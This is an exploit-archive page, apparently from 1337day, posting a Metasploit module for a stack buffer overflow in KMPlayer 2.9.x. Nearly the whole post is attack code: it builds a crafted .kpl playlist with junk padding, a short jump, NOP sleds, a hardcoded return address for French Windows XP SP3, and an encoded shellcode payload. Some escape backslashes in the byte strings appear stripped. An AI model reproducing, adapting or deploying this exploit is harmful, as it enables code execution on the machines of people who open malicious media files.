Home / exploitsPDF  

KMPlayer 2.9.x (.kpl) Stack Buffer Overflow

Posted on 22 April 2011

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_<_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ >> Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

# KMPlayer <=2.9.x (.kpl) Stack Buffer Overflow (meta)
# By KedAns-Dz
# $ kmp_sbof.rb | 21/04/2011 13:30 $
# Windows XP Sp3 Fr

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'KMPlayer 2.9.x (.kpl) Stack Buffer Overflow',
'Description'    => %q{
This module exploits a stack buffer overflow in versions v2.9.3
creating a specially crafted .kpl file, an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => 'KedAns-Dz <ked-h[at]hotmail.com>',
'Version' => 'Version 1',
'References' =>
[
[ 'URL', 'Not Detected Olden This' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1900,
'BadChars' => "x00x20x0ax0d",
'StackAdjustment' => -3500,
'DisableNops' => 'True',
'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 France', { 'Ret' => 0x0247fff4} ], # CALL from  ntdll.dll

],
'Privileged' => false,
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'KedAns.kpl']),
], self.class)
end


def exploit

sploit = "[playlist]
"
sploit << "NumberOfEntries=1
"
sploit << "File1=http://"
sploit << "x41" * 200 # buffer Junk
sploit << "xebx06x90x90"  # short jump
sploit << "x90" * 30 # nop
sploit << [target.ret].pack('V')
sploit << payload.encoded
sploit << "x90" * 543 # nop sled
sploit << ".mp3"
ked = sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(ked)

end

end

 

TOP

Malware :

Exploits :